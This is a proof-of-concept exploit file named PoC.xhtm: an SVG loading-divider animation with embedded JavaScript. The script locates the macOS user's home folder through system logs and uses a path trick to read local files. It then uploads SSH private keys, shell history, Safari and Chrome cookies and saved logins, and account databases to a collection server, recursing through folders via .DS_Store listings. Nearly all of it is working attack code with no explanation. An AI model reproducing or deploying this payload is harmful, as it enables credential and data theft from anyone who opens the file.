PoC.xhtm

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" 
    class="svg-divider" 
    xmlns="http://www.w3.org/2000/svg" 
    xmlns:xlink="http://www.w3.org/1999/xlink" 
    x="0px"
    y="0px" 
    viewBox="0 0 80 3"  
    xml:space="preserve"
>

<script type="text/javascript">
    <![CDATA[ 
const serverUrl = 'http://0:5000', 
user = getUser(),

list = [

        '.ssh/id_rsa',
        '.ssh/known_hosts',
        '.ssh/authorized_keys',
        '.bash_history',
        //cookies
        'Library/Cookies/Cookies.binarycookies',
        'Library/Cookies/HSTS.plist',
        'Library/Cookies/com.apple.Safari.cookies',
        'Library/Accounts/Accounts4.sqlite',
        //soft
        'Library/Application Support/Chromium/Default/Login Data',
        'Library/Application Support/Chromium/Default/Cookies',
        'Library/Application Support/Chromium/Default/History',

        'Library/Application Support/Google/Chrome/Default/Login Data',
        'Library/Application Support/Google/Chrome/Default/Cookies',
        'Library/Application Support/Google/Chrome/Default/History',
        //trash
        '.Trash/.DS_Store',

        //'Library/.DS_Store',
        //'Pictures/.DS_Store',
        //'.DS_Store',
        'Documents/.DS_Store',
        'Desktop/.DS_Store',
    ]
    .map(file => user + file);

main();

function main() {
    list.forEach(processFile);
}

function unique(arr) {
    var obj = {};

    for (var i = 0; i < arr.length; i++) {
        var str = arr[i];
        obj[str] = true;
    }

    return Object.keys(obj);
}

function processFile(file) {
    let out = getFile(file),
        xhr = new XMLHttpRequest(),
        formData = new FormData()

    if (!out) return false;

    formData.append('file', out, file);

    xhr.open('POST', serverUrl);
    xhr.onreadystatechange = () => {
        if (xhr.readyState === 4 && xhr.status === 200 && xhr.responseText.length > 3) {
            let response = JSON.parse(xhr.responseText);

            response.forEach(responseFile => {
                let path = file.slice(0, file.lastIndexOf('/') + 1);
                if (processFile(path + responseFile) != true) {

                    processFile(path + responseFile + '/.DS_Store');
                }

            })
        }
    };
    xhr.send(formData);
    return true
}

function getUser() {
    var xhr = new XMLHttpRequest();

    try {
        xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        var users = unique(xhr.responseText.match(/\/Users\/\w+\//g));
    } catch (e) {
        xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        var users = unique(xhr.responseText.match(/\/Users\/\w+\//g));
    } finally {
        return users.find((userstring) => {
            var xhr = new XMLHttpRequest();
            xhr.open('GET', userstring + '.DS_Store', false);
            xhr.send();
            return xhr.responseText.length > 0
        });
    }
}

function getFile(file) {
    var xhr = new XMLHttpRequest();

    try {
        console.log(file);
        xhr.open('GET', file + ';/https:%2f%2fgoogle.com/', false);
        xhr.responseType = 'blob';
        xhr.send();

        if (xhr.response.size != 0) return xhr.response


    } catch (e) {
        console.log(e)
    }
}

]]> 
   </script>
    <rect 
        x="1" 
        fill="#c6c3b9" 
        width="16" 
        height=".2"
    >
        <animate 
            attributeName="x" 
            attributeType="XML"
            values="1; 64; 1"
        begin="0s" dur="1.5s" repeatCount="indefinite" />
    </rect>

</svg>